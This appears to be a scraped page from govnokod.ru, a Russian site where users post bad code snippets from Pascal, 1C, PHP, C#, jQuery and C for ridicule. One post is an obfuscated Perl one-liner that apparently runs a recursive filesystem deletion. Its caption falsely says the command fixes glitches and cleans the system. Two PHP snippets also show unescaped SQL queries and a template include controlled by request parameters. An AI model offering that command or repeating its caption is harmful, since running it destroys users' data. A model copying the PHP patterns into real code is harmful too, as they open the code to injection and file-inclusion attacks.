- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
function ... : Integer;
var
i:integer;
begin
Result := 0;
for i := 1 to ... do
if bla-bla then
inc(Result);
Result := Result;
end;
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+144.9
function ... : Integer;
var
i:integer;
begin
Result := 0;
for i := 1 to ... do
if bla-bla then
inc(Result);
Result := Result;
end;
−134
Процедура СправочникСписокПриВыводеСтроки(Элемент, ОформлениеСтроки, ДанныеСтроки)
ТекКвота = ДанныеСтроки.Ссылка;
мЗапросДок = Новый Запрос;
мЗапросДок.Текст =
"ВЫБРАТЬ
| ЕСТЬNULL(СУММА(СДотчетТовары.Количество), 0) КАК Количество
|ИЗ
| Документ.СДотчет.Товары КАК СДотчетТовары
|ГДЕ
| СДотчетТовары.Ссылка.Проведен = ИСТИНА
| И СДотчетТовары.КвотаОтчета = &Квота";
мЗапросДок.УстановитьПараметр("Квота",ТекКвота);
Выборка = мЗапросДок.Выполнить().Выбрать();
Выборка.Следующий();
ВДоке = Выборка.Количество;
ОформлениеСтроки.Ячейки.СогласноСД.Значение = ?(ВДоке=0,"",ВДоке);
мЗапросПОС = Новый Запрос;
мЗапросПОС.Текст =
"ВЫБРАТЬ
| ЕСТЬNULL(СписаноПоПОСОбороты.КоличествоОборот, 0) КАК Количество
|ИЗ
| РегистрНакопления.СписаноПоПОС.Обороты(, , , Квота = &Квота) КАК СписаноПоПОСОбороты";
мЗапросПОС.УстановитьПараметр("Квота",ТекКвота);
Выборка = мЗапросПОС.Выполнить().Выбрать();
Выборка.Следующий();
ВПОС = Выборка.Количество;
ОформлениеСтроки.Ячейки.СогласноПОС.Значение = ?(ВПОС=0,"",ВПОС);
мЗапросРег = Новый Запрос;
мЗапросРег.Текст =
"ВЫБРАТЬ
| ЕСТЬNULL(Квоты.КолВЗаказахПокупателя, 0) КАК КолВЗаказахПокупателя,
| ЕСТЬNULL(ЗаказПоставщику.КолВЗаказахПоставщику, 0) КАК КолВЗаказахПоставщику
|ИЗ
| (ВЫБРАТЬ
| СУММА(ЕСТЬNULL(ЗаказПоставщикуТовары.Количество, 0)) КАК КолВЗаказахПоставщику
| ИЗ
| Документ.ЗаказПоставщику.Товары КАК ЗаказПоставщикуТовары
| ГДЕ
| ЗаказПоставщикуТовары.КвотаЗаказа = &Квота) КАК ЗаказПоставщику,
| (ВЫБРАТЬ
| СУММА(ЕСТЬNULL(КвотыЗаказовПокупателейОстаткиИОбороты.КоличествоПриход, 0)) КАК КолВЗаказахПокупателя
| ИЗ
| РегистрНакопления.КвотыЗаказовПокупателей.ОстаткиИОбороты(
| ,
| ,
| ,
| ,
| Квота = &Квота
| И ВидКвоты = ЗНАЧЕНИЕ(Перечисление.ВидыКвот.ОтчетнаяКвота)) КАК КвотыЗаказовПокупателейОстаткиИОбороты) КАК Квоты";
мЗапросРег.УстановитьПараметр("Квота",ТекКвота);
Выборка = мЗапросРег.Выполнить().Выбрать();
ЕстьВыборка = Выборка.Следующий();
КолВЗаказахПокупателя = ?(не ЕстьВыборка,0,Выборка.КолВЗаказахПокупателя);
КолВЗаказахПоставщику = ?(не ЕстьВыборка,0,Выборка.КолВЗаказахПоставщику);
ОформлениеСтроки.Ячейки.ВЗаказахПокупателя.Значение = КолВЗаказахПокупателя;
ОформлениеСтроки.Ячейки.ВЗаказахПоставщику.Значение = КолВЗаказахПоставщику;
КонецПроцедуры
Чудный справочник, очень быстро открывается и прокручивается. Приходится ждать по 20 секунд)))
+164
<?
if( !defined("ADMIN") ) die("Access denied.");
// Получение новых сообщений
mysql_query('SET NAMES cp1251'); // Чертовы костыли!
if($messages_count_new>0) {
$sql = "SELECT * FROM " .PREFIX. "_messages WHERE to_uid = $manager_id AND is_read = 0";
$result = mysql_query($sql);
$messages_new = array();
while ($row = mysql_fetch_assoc($result)) {
$messages_new[] = $row;
}
}
// Получение прочитанных сообщений
$sql = "SELECT * FROM " .PREFIX. "_messages WHERE to_uid = $manager_id AND is_read = 1";
$result = mysql_query($sql);
$messages_read = array();
while ($row = mysql_fetch_assoc($result)) {
$messages_read[] = $row;
}
$OUT .= '
<table>
<tr><td><h1>Внутренняя почта</h1></td></tr>';
if(count($messages_new) > 0 OR count($messages_read) > 0):
if(count($messages_new) > 0):
$OUT .= '<tr><td><h2>У вас '.count($messages_new).' новых сообщений</h2></td></tr>
<tr><tr>
<table class="messages_list" width="100%">
<tr><th>Дата</th><th>Тема</th></tr>';
foreach($messages_new as $key=>$item):
$OUT .= '<tr>
<td class="date" width=20%">'.date('Y-m-d H:i', $item['created_date']).'</td>
<td class="subject"><a href="index.php?page=readmessage&id='.$item['id'].'">'.htmlspecialchars($item['subject']).'</a></td>
</tr>';
endforeach;
$OUT .= '</td></tr></table>';
endif;
if(count($messages_read) > 0):
$OUT .= '<tr><td><h2>У вас '.count($messages_new).' прочитанных сообщений</h2></td></tr>
<tr><tr>
<table class="messages_list" width="100%">
<tr><th>Дата</th><th>Тема</th></tr>';
foreach($messages_read as $key=>$item):
$OUT .= '<tr>
<td class="date" width=20%">'.date('Y-m-d H:i', $item['created_date']).'</td>
<td class="subject"><a href="index.php?page=readmessage&id='.$item['id'].'">'.htmlspecialchars($item['subject']).'</a></td>
</tr>';
endforeach;
$OUT .= '</td></tr></table>';
endif;
else:
$OUT .= '<tr><td>У вас нет сообщений</tr></td></table>';
endif;
:((((
−213
Если Пользователь.Родитель.КонтрольРазмещения = Истина Тогда
Возврат Истина;
Иначе
Возврат Ложь;
КонецЕсли;
Лёгких путей не бывает :)
+162.1
<?
/* Для spaw нужно */
$spaw_root = dirname(__FILE__) . "/spaw/";
include $spaw_root . 'spaw_control.class.php';
/* Проверка на существование раздела */
if (count($glb_page->prop))
{
load_lib("pw_mod");
$glb_page->main_out = run_action($glb_page->prop['id_act'],1);
// подключение шаблона
if (isset($_GET['pw_patt'])) $glb_page->prop['templ'] = $_GET['pw_patt'];
if (isset($_POST['pw_patt'])) $glb_page->prop['templ'] = $_POST['pw_patt'];
if (isset($_REQUEST['pw_patt'])) $glb_page->prop['templ'] = $_REQUEST['pw_patt'];
include(pw_Path_templ . $glb_page->prop['templ'] . ".php");
}
else
{
echo "Раздел не найден";
}
?>
+99.4
string date_format = DateTime.Now.ToString("dddd dd") + "th " + DateTime.Now.ToString("MMMM yyyy");
if (DateTime.Now.Day == 1 || DateTime.Now.Day == 21 || DateTime.Now.Day == 31) date_format = DateTime.Now.ToString("dddd dd")+"st "+DateTime.Now.ToString("MMMM yyyy");
else if (DateTime.Now.Day == 2 || DateTime.Now.Day == 22) date_format = DateTime.Now.ToString("dddd dd")+"nd "+DateTime.Now.ToString("MMMM yyyy");
else if (DateTime.Now.Day == 3 || DateTime.Now.Day == 23) date_format = DateTime.Now.ToString("dddd dd")+"rd "+DateTime.Now.ToString("MMMM yyyy");
DateTime formatting - don't try this at home!
−91.4
cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Команда спасает от глюков и чистит систему.
+151.2
$('#state_checkboxes input[type=checkbox]').each(function(i) {
$(this).click(function() {
if (!$(this).attr('checked')) {
if ($('#state_checkboxes input[type=checkbox]:checked').length == 0) {
$('#state_checkboxes input[type=checkbox]').not(this).attr('checked', 'checked');
}
}
});
});
$('#type_checkboxes input[type=checkbox]').each(function(i) {
$(this).click(function() {
if (!$(this).attr('checked')) {
if ($('#type_checkboxes input[type=checkbox]:checked').length == 0) {
$('#type_checkboxes input[type=checkbox]').not(this).attr('checked', 'checked');
}
}
});
});
$('#own_checkboxes input[type=checkbox]').each(function(i) {
$(this).click(function() {
if (!$(this).attr('checked')) {
if ($('#own_checkboxes input[type=checkbox]:checked').length == 0) {
$('#own_checkboxes input[type=checkbox]').not(this).attr('checked', 'checked');
}
}
});
});
Только что наговнокодил, еще тепленькое.
Суть в следующем: есть несколько пар чекбоксов, в каждой из этих пар обязательно должен быть выделен хотя бы один. Если снимаем выделение со всех чекбоксов в паре, то установиться выделение должно у другого чекбокса.
В данном говнокоде 3 пары чекбоксов, у меня в проекте их будет больше, вот сижу и думаю, как бы это всё покрасивее сделать, а то совсем уже
+144
switch($_GET['act'])
{
default: break;
case 'manageusers':
{
///......
break;
}
default:
{
/// .......
обнаружил щаз в своем коде 2 месячной давности.....
+134.7
si_node_append(&(*config), si_node_create_ex(param_name, param_value, param_flag)); // ...to the end
Смысл операции &(*var) непонятен.
Отдельного внимания заслуживает коментарий... мне удалось воткнуть :) оказывается, имелось в виду не "вперед, до самого конца", а "добавляем в конец списка", ага.
Правда, был круче комент в одном месте... "redirect of conclusion"...
В общем, когда вкурил что имелось в виду "перенаправление вывода", чуть не сдох со смеху :)